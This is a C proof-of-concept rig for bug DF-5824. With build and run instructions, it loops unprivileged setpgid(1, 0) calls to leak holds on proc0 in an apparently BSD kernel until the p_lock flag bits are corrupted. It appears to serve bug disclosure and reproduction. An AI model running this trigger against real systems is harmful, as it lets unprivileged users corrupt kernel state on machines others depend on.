DF-5824 / df5824_leak.c
/* * DF-5824 rig: inferior() PHOLD leak on proc0 (sys/kern/kern_proc.c:477-481). * * inferior(p) walks p's ancestry; when it reaches the pid==0 node it * returns 0 WITHOUT releasing the hold it took on that node (proc0). * Every unprivileged setpgid(<non-descendant pid>, 0) reaches this via * sys_setpgid (sys/kern/kern_prot.c:372) and returns ESRCH - one stranded * PHOLD on proc0 per call, at unprivileged syscall rate. * * proc0 is immortal so the leak does not UAF, but p_lock grows without * bound: after 2^28 calls the PLOCK_WAITRES/ZOMB/WAITING flag bits in the * p_lock word are corrupted (PLOCK_MASK is 0x0FFFFFFF). * * Build: cc -O2 -o df5824_leak df5824_leak.c * Run (unprivileged): ./df5824_leak 20000000 */ #include <unistd.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { long n = (argc > 1) ? atol(argv[1]) : 10000000; long esrch = 0, other = 0, i; for (i = 0; i < n; ++i) { if (setpgid(1, 0) == 0) ++other; else if (errno == ESRCH) ++esrch; /* inferior()==0 -> leaked one PHOLD */ else ++other; } printf("setpgid(1,0) calls : %ld\n", n); printf("ESRCH (leak path) : %ld\n", esrch); printf("other : %ld\n", other); printf("=> proc0 p_lock stranded holds: +%ld " "(0x%lx flag bits at 2^28)\n", esrch, (unsigned long)esrch); return (0); } |